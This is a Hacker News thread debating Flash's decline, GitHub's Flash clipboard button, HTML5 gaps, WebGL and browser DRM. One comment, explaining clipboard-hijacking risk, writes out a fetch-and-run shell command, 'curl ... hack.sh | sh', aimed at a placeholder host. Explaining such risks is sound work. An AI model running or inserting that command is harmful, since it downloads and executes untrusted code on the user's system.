Hacker News Reader

Comment by TheWoodsy | Hacker News Reader

This is priceless http://i.imgur.com/3uNsIF2.png

Hey, thanks for the headsup. We had an old component that we used as a fallback for certain kinds of videos that was always active. It was a legacy component that just got forgotten. I removed the Flash fallback about half an hour ago, so this shouldn't be showing up anymore.

Does anyone know why this is showing up on Github as well? I just saw this banner when I logged in. Why would Github be using Flash?

(A quick Google search shows they used to use it for the network graph but it is now Canvas.)

Github uses flash for the 'copy to clipboard' button to copy an http or ssh url to the clipboard.

Something I noticed after making my Flash click-to-activate a while back. That seems like a HUMONGOUS tunnel to create in order to allow copy to clipboard, and fairly irresponsible on GitHub's part.

What developer doesn't know how to copy to clipboard?

Github claims that the flash version is "currently the only reliable way to put data in the clipboard". This seems to indicate that they looked at the native browser option and found it unacceptable for their use case.

https://github.com/blog/1365-a-more-transparent-clipboard-bu...

That blog is from 2013. Github now does browser sniffing to see if it can use native APIs instead of flash: https://gist.github.com/jonrohan/81085b119d16cdd7868a

Deleted comment

What privacy implications are you thinking of? (I have not thought about this before.)

And again, a quick Google search shows this [0]. But perhaps you mean a more backwards-compatible solution?

[0] - http://stackoverflow.com/a/30810322/1507139

Thanks for that link, I hit this problem a while ago, a program I wrote generates HTML results where I want to cut & paste sections into another file. I couldn't find a way to do so in javascript previously.

The parent comment has been deleted, so I don't know what privacy problems they are referring to, however there is a potential security issue in allowing javascript write access to the clipboard. e.g. an evil website could repeatedly stuff code into the clipboard, so the next time you paste something into a terminal window, you end up with a 'curl http://www.example.com/hack.sh | sh' command and not the text you expected...

The other concern is bugs in the implementation that injects clipboard access into the JavaScript sandbox. Write-only might be the intent, but this could open up possibilities to gain read access.

They seem to use it for clipboard access, some repository links have a button that puts the URI in you clipboard automatically. I'm not sure if there is anything else they are using it for.

In addition to clipboard access flash is also used to provide alternate upload mechanisms. See Dropbox for a good example (and the failover UI).

Don't they use it on their "copy URL button"?

The final act of HTML5 delusion - it becomes "ready" because we say it's "ready". It's just someone forgot to ask Flash (game) developers' opinion. Not that it matters, right?

You really think the opinion of game developers should matter in a discussion about how to make browsers reasonably secure for people to use without getting their hosts compromised? Because I don't.

Anger towards browser developers or HTML5 is misplaced; you should be angry with Adobe for the fact that Flash is buggy, insecure, and closed-source.

>You really think the opinion of game developers should matter in a discussion about how to make browsers reasonably secure for people to use without getting their hosts compromised? Because I don't.

I agree, which is why I wish browser vendors would block WebGL by default.

I'm not holding my breath though, because the reality is that market demand from people like game developers (or at least, perceived demand) is what is driving the addition of so many complex new APIs to the web.

WebGL is about more than games, for sure, why would you want to block acceleration?

You can go into add-ons and make it click-to-activate like flash, however.

It's 2015 and it has been clear for at least 5 years that Flash was going to die eventually. If you still haven't migrated away or - worse - are still developing new apps in Flash, it's your own fault.

And since when you have to please everybody ? Flash developers are a minority, and they have no power to influence the market.

The sooner Adobe abandons the dead horse, the better for all of us. Kevin has gone away for years now, and Adobe's force is not based on Flash anymore (disclaimer: I own Adobe stock)

Its not like html5 has all of the features required to replace flash cross platform. These changes force developers, especially those that work in video publishing to implement a variety of implementations for each device whereas flash gave us one platform that technically works on everything but is now disabled intentionally.

From the outside looking in, I have to imagine this has been on the industries radar for a while. I mean flash has had some pretty steady hate for a while, coupled with advances with other mechanisms becoming increasingly robust. It may create more work but surely work that was not unexpected.

People in video publishing have had to deal with the iPhone since 2007. This is nothing new.

what, re-implementing their tech on a multitude of different browsers on desktop machines that previously worked fine? I'm just pissed because IMO flash is being removed before the cross platform media objects in html5 have been implemented in full across all the browsers.

I'm just disappointed that browser makers caved to Flash-using media companies demands and added closed-source DRM to the HTML spec. Thank you for demanding such an awful misfeature, Hollywood. Our starving culture will forever be in your DMCA debt.

The alternative wasn't "no DRM", it was "video distribution is done via apps instead of a browser".

Flash isn't being removed by Mozilla. They have just placed a kind of "Are you sure you want to run this?" prompt on flash content.

I can't wait for HLS support

http://www.jwplayer.com/html5/hls/

that link is a great demonstration of the problem we're discussing.

"...whereas flash gave us one platform that technically works on everything..."

Unless you count iOS, Android, BSD, Solaris, QNX, Debian etc.

I did the "click to activate" option for flash in firefox. I like it. (Safari and chrome can do this too). This way if flash is activated when really needed.

https://support.mozilla.org/en-US/kb/set-adobe-flash-click-p...

I feel your pain. The university site I'm working on has flash protein visualizations. We're finally moving visualizations to js. We'll get there, but with flash being kinda turned off, users will have to turn it back on manually or our pages won't work till rid of flash.

It's very important to note that click to play for Flash in Chrome is NOT a security feature. Sites can bypass it.

To quote a Chrome developer: "Click to play is not actually a security boundary. In particular, it has always been subject to click-jacking."

https://code.google.com/p/chromium/issues/detail?id=174963

It's a click away.

And calling it unsafe, well, that's the truth.

I know HTML5 doesn't have all of Flash features, but as a user, I'm glad that I won't see random pages using flash without need.

Yesterday I was browsing a technology blog on my iPad and a javascript pop-up banner appeared over the page. The X button in the corner didn't work, I tapped it about 20 times. So I reloaded the page. Same thing happened. To read the article I had to disable javascript in the Safari settings and reload page.

If you think unwanted annoyances only come from Flash, you're mistaken.

Haven't all the flash game developers moved on anyways? To either mobile or steam.

Mobile is where a lot of Flash developers have moved (via Adobe Air)

It's 2015. Nobody gives a shit about flash games in their browser.

Reply on news.ycombinator.com